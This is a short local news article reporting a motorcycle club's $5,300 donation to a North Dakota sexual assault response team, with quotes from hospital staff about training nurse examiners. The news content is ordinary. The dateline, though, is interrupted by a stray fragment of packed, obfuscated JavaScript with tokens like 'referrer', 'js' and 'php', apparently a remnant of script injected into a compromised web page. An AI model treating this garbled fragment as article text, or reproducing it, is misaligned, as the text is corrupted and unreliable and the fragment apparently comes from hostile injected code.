JAMESTOWN, hzssn|var|u0026u|referrer|yzbrh||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – On Friday, September 2, 2016, the Jamestown Chapter Crusaders presented the Jamestown Area Sexual Assault Response Team (S.A.R.T) with a donation of $ 5,300. The funds were raised during the chapter’s “poker run,” held earlier in July.

Since its beginnings in 2009, S.A.R.T has served victims 14 years old and above that have suffered sexual assault violence. The team includes trained Sexual Assault Nurse Examiners (SANEs) the local Safe Shelter, law enforcement, the State Attorney’s Office, the Victim Witness Assistance Program, Jamestown Regional Medical Center (JRMC), Central Valley Health and other clinics and agencies.

JRMC Chief Nursing Office Trisha Jungels says the donated funds will contribute to ongoing training SANE nurses, a critical aspect of S.A.R.T.’s operation.

“The SANE program requires specially trained nurses to provide crisis intervention, emotional support, injury detection, treatment and forensic medical evidence collection. No victim is billed for an exam completed by SANE,” shared Jungles.

Community support, grants and donations like the one made by the Jamestown Crusaders provide the resources necessary to recruit and train these nurses, Jungels noted.

“Victims of sexual assault may suffer physical, emotional and psychological trauma as a result of their victimization. Providing them with quality healthcare in the aftermath of their assault is vital to their recovery,” said Jungels.

“We are extremely grateful to the Jamestown Chapter Crusaders motorcycle club for organizing this Poker Run and recruiting the loyal sponsors who all support S.A.R.T,” said JRMC Foundation Director Lisa Jackson. “These dollars are critical in providing this service and helping responders and nurses facilitate the best care for victims of sexual assault.”